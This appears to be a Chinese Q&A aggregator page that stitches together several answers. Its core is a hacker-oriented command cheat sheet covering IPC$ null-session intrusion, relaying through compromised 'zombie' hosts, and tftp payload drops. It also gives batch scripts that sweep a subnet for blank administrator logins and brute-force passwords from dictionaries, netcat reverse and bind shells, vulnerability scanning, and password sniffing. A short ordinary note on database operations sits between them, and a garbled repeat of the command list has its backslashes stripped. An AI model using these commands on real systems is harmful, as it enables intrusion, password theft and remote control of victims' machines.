當前位置:首頁 » 編程語言 » sql檢測弱指令
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

sql檢測弱指令

發布時間: 2023-04-02 22:54:24

❶ 計算機命令

進入注冊表該用 regedit

net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接
net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
net use h: \\ip\c$ 登陸後映射對方C:到本地為H:
net use \\ip\ipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意:administrator後加s用復數
net start 查看開啟了哪些服務
net start 服務名 開啟服務;(如:net start telnet, net start schele)
net stop 服務名 停止某服務
net time \\目標ip 查看對方時間
net time \\目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共享
net view \\ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小為32位元組的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件

del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at \\ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,默認埠為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
路徑\文件名1 路徑\文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
c:\srv.exe \\ip\admin$ 復制本地c:\srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
\\ip\admin$\svv.exe c:\ 或:\\ip\admin$\*.* 復制對方admini$共享下的srv.exe文件(所有文件)至本地C:
x 要復制的文件或目錄樹 目標地址\目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸後,將「IP」的server.exe下載到目標主機c:\server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
tftp -i 對方IP put c:\server.exe 登陸後,上傳本地c:\server.exe至主機
ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,介面地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變數)
goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:「:start」標簽)
call 路徑\批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字元串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為:EntSky\ )
print 文件名 列印文本文件

ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 創建目錄
replace 源文件 要替換文件的目錄 替換文件
ren 原文件名 新文件名 重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認埠23為其它任何埠
exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑\可執行文件的文件名 為可執行文件設置一個路徑。
cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 注冊表文件名 導入注冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 注冊表文件名 導出注冊表
cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)??針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問許可權;/G 用戶名:perm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶許可權列表
REM 文本內容 在批處理文件中添加註解
netsh 查看或更改本地網路配置情況

IIS服務命令:
iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令行格式為:
ftp -v -d -i -n -g[主機名] -v 顯示遠程伺服器的所有響應信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中
get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批文件至本地主機
mput local-files 將本地主機中一批文件傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件
ascii 設定以ASCII方式傳送文件(預設值)
bin 或 image 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cp 返回上一級目錄
close 中斷與遠程伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連接,可指定連接埠
delete 刪除遠端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的文件名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的文件許可權
case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠程主機目錄
cp 進入遠程主機目錄的父目錄
! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip

MYsql 命令:
mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by \"密碼\"; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。
use mysql;
show tables; 顯示庫中的數據表
describe 表名; 顯示數據表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (欄位設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqlmp --opt school>school.bbb 備份資料庫:(命令在DOS的\\mysql\\bin目錄下執行);注釋:將資料庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /參數 關閉或重啟本地或遠程主機。
參數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,范圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。
例:shutdown /r /t 0 立即重啟本地主機(無延時)
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啟動的子進程。
tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。
參數說明:/M 列出當前進程載入的dll文件,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。

Linux系統下基本命令: 要區分大小寫
uname 顯示版本信息(同win2K的 ver)
dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
cat 文件名 查看文件內容
cat >abc.txt 往abc.txt文件中寫上內容。
more 文件名 以一頁一頁的方式顯示一個文本文件。
cp 復制文件
mv 移動文件
rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內沒有文檔。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查找字元串
diff 檔案文件比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami 查看自己的帳號名稱
groups 查看某人的Group
passwd 更改密碼
history 查看自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 黑客通常用它來編譯C語言寫的文件
su 許可權轉換為指定使用者
telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。
ftp ftp連接上某伺服器(同win2K)

附:批處理命令與變數

1:for命令及變數 基本格式:
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i ,而指定一個變數則用:%%i ,而調用變數時用:%i% ,變數是區分大小寫的(%i 不等於 %I)。
批處理每次能處理的變數從%0?%9共10個,其中%0默認給批處理文件名使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2?%9指輸入的第2-9個值;例:net use \\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3

(set):指定一個或一組文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{「(1 1 254)」第一個"1"指起始值,第二個"1"指增長量,第三個"254"指結束值,即:從1到254;「(1 -1 254)」說明:即從254到1}

command:指定對第個文件執行的命令,如:net use命令;如要執行多個命令時,命令這間加:& 來隔開
command_parameters:為特定命令指定參數或命令行開關

IN (set):指在(set)中取值;DO command :指執行command

參數:/L 指用增量形式{(set)為增量形式時};/F 指從文件中不斷取值,直到取完為止{(set)為文件時,如(d:\pass.txt)時}。
用法舉例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。

/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變數(ip的最後一位);& 用來隔開echo 和net use 這二個命令;| 指建立了ipc$後,在結果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長量,結止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存為:ok.exe 說明:輸入一個IP後,用字典文件d:\pass.dic來暴解d:\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認)。

2:if命令及變數 基本格式:
IF [not] errorlevel 數字 命令語句 如果程序運行最後返回一個等於或大於指定數字的退出編碼,指定條件為「真」。
例:IF errorlevel 0 命令 指程序執行後返回的值為0時,就值行後面的命令;IF not errorlevel 1 命令指程序執行最後返回的值不等於1,就執行後面的命令。
0 指發現並成功執行(真);1 指沒有發現、沒執行(假)。
IF [not] 字元串1==字元串2 命令語句 如果指定的文本字元串匹配(即:字元串1 等於 字元串2),就執行後面的命令。
例:「if "%2%"=="4" goto start」指:如果輸入的第二個變數為4時,執行後面的命令(注意:調用變數時就%變數名%並加" ")
IF [not] exist 文件名 命令語句 如果指定的文件名存在,就執行後面的命令。
例:「if not nc.exe goto end」指:如果沒有發現nc.exe文件就跳到":end"標簽處。
IF [not] errorlevel 數字 命令語句 else 命令語句或 IF [not] 字元串1==字元串2 命令語句 else 命令語句或 IF [not] exist 文件名 命令語句 else 命令語句 加上:else 命令語句後指:當前面的條件不成立時,就指行else後面的命令。注意:else 必須與 if 在同一行才有效。 當有del命令時需把del命令全部內容用< >括起來,因為del命令要單獨一行時才能執行,用上< >後就等於是單獨一行了;例如:「if exist test.txt. <del test.txt.> else echo test.txt.missing 」,注意命令中的「.」

(二)系統外部命令(均需下載相關工具):

1、瑞士軍刀:nc.exe

參數說明:
-h 查看幫助信息
-d 後台模式
-e prog程序重定向,一但連接就執行〔危險〕
-i secs延時的間隔
-l 監聽模式,用於入站連接
-L 監聽模式,連接天閉後仍然繼續監聽,直到CTR+C
-n IP地址,不能用域名
-o film記錄16進制的傳輸
-p[空格]埠 本地埠號
-r 隨機本地及遠程埠
-t 使用Telnet交互方式
-u UDP模式
-v 詳細輸出,用-vv將更詳細
-w數字 timeout延時間隔
-z 將輸入,輸出關掉(用於掃錨時)
基本用法:
nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80埠
nc -l -p 80 開啟本機的TCP 80埠並監聽
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024埠
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在remote的TCP 5354埠
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell並反向連接192.168.0.2的5354埠
高級用法:
nc -L -p 80 作為蜜罐用1:開啟並不停地監聽80埠,直到CTR+C為止
nc -L -p 80 > c:\log.txt 作為蜜罐用2:開啟並不停地監聽80埠,直到CTR+C,同時把結果輸出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作為蜜罐用3-1:開啟並不停地監聽80埠,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
type.exe c:\honeyport | nc -L -p 80 作為蜜罐用3-2:開啟並不停地監聽80埠,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
本機上用:nc -l -p 本機埠
在對方主機上用:nc -e cmd.exe 本機IP -p 本機埠 *win2K
nc -e /bin/sh 本機IP -p 本機埠 *linux,unix 反向連接突破對方主機的防火牆
本機上用:nc -d -l -p 本機埠 < 要傳送的文件路徑及名稱
在對方主機上用:nc -vv 本機IP 本機埠 > 存放文件的路徑及名稱 傳送文件到對方主機
備 註:
| 管道命令
< 或 > 重定向命令。「<」,例如:tlntadmn < test.txt 指把test.txt的內容賦值給tlntadmn命令
@ 表示執行@後面的命令,但不會顯示出來(後台執行);例:@dir c:\winnt >> d:\log.txt 意思是:後台執行dir,並把結果存在d:\log.txt中
>與>>的區別 ">"指:覆蓋;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二個命令分別執行二次比較看:用>>的則是把二次的結果都保存了,而用:>則只有一次的結果,是因為第二次的結果把第一次的覆蓋了。

2、掃錨工具:xscan.exe

基本格式
xscan -host <起始IP>[-<終止IP>] <檢測項目> [其他選項] 掃錨"起始IP到終止IP"段的所有主機信息
xscan -file <主機列表文件名> <檢測項目> [其他選項] 掃錨"主機IP列表文件名"中的所有主機信息
檢測項目
-active 檢測主機是否存活
-os 檢測遠程操作系統類型(通過NETBIOS和SNMP協議)
-port 檢測常用服務的埠狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫許可權
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 載入Nessus攻擊腳本
-all 檢測以上所有項目
其它選項
-i 適配器編號 設置網路適配器, <適配器編號>可通過"-l"參數獲取
-l 顯示所有網路適配器
-v 顯示詳細掃描進度
-p 跳過沒有響應的主機
-o 跳過沒有檢測到開放埠的主機
-t 並發線程數量,並發主機數量 指定最大並發線程數量和並發主機數量, 默認數量為100,10
-log 文件名 指定掃描報告文件名 (後綴為:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測192.168.1.1-192.168.255.255網段內主機的所有漏洞,跳過無響應的主機
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測192.168.1.1-192.168.255.255網段內主機的標准埠狀態,NT弱口令用戶,最大並發線程數量為150,跳過沒有檢測到開放埠的主機
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測「hostlist.txt」文件中列出的所有主機的標准埠狀態,CGI漏洞,最大並發線程數量為200,同一時刻最多檢測5台主機,顯示詳細檢測進度,跳過沒有檢測到開放埠的主機

3、命令行方式嗅探器: xsniff.exe
可捕獲區域網內FTP/SMTP/POP3/HTTP協議密碼
參數說明
-tcp 輸出TCP數據報
-udp 輸出UDP數據報
-icmp 輸出ICMP數據報
-pass 過濾密碼信息
-hide 後台運行
-host 解析主機名
-addr IP地址 過濾IP地址
-port 埠 過濾埠
-log 文件名 將輸出保存到文件
-asc 以ASCII形式輸出
-hex 以16進制形式輸出
用法示例
xsniff.exe -pass -hide -log pass.log 後台運行嗅探密碼並將密碼信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -a

❷ 資料庫SQL簡單指令

(1)插操作:把數據插入到資料庫中指定的位置上去,如Append
是在資料庫文件的末尾添加記錄,而INSERT是在指定記錄前添加記錄。
(2)刪操作:刪除資料庫中不必再繼續保留的一組記錄,如DELETE
對資料庫中記錄作刪除標志。PACK是將標有刪除標志的記錄徹底清除掉。ZAP
是去掉資料庫文件的所有記錄。
(3)改操作:修改記錄或資料庫模式,或在原有數據的基礎上,
產生新的關系模式和記錄,如連接Join操作和投影操作Projection.
(4)排序操作:改變物理存儲的排列方式。如SORT命令按指定關鍵字串把DBF文件中記錄排序。從物理存儲的觀點看,資料庫發生了變化,但從邏輯的觀點(或集合論觀點看),新的關系與排序前是等價的。
(5)檢索操作:從資料庫中檢索出滿足條件的數據,它可以是一個數據項,
一個記錄或一組記錄。如BROWSE單元實現對數據的瀏覽操作。SELECT選出滿足一定條件和范圍的記錄。

❸ DOS指令。。。。。。。。

CMD命令
net use ipipc$ " " /user:" " 建立IPC空鏈接
net use ipipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: ipc$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
net use h: ipc$ 登陸後映射對方C:到本地為H:
net use ipipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把"用戶"添加到管理員中使其具有管理員許可權,注意:
administrator後加s用復數
net start 查看開啟了哪些服務
net start 服務名 開啟服務;(如:net start telnet, net start schele)
net stop 服務名 停止某服務
net time 目標ip 查看對方時間
net time 目標ip /set 設置本地計算機時間與"目標IP"主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共享
net view ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:"-w數字"用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小為32位元組的數據,參數:"-l[空格]數據包大小";"-n發送數據次數";"-t"指一直
ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參
數"/all"顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-
H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如"DEL/AR *.*"表示刪除當前目錄下所有隻讀文件,"DEL/A-
S *.*"表示刪除當前目錄下除系統文件以外的所有文件
二:
del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統
確認就直接刪除。(二個命令作用相同)
move 盤符路徑要移動的文件名 存放移動文件的路徑移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命

at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,默認埠為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
路徑文件名1 路徑文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
c:srv.exe ipadmin$ 復制本地c:srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:
2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
ipadmin$svv.exe c: 或:ipadmin$*.* 復制對方admini$共享下的srv.exe文件(所有文
件)至本地C:
x 要復制的文件或目錄樹 目標地址目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:server.exe 登陸後,將"IP"的
server.exe下載到目標主機c:server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式
(傳送文本文件模式)進行傳送
tftp -i 對方IP put c:server.exe 登陸後,上傳本地c:server.exe至主機
ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文
本文件時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway
addres,介面地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某
屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即"DATE/T"、"TIME/T"將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變數)
goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:":start"標簽)
call 路徑批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字元串hello
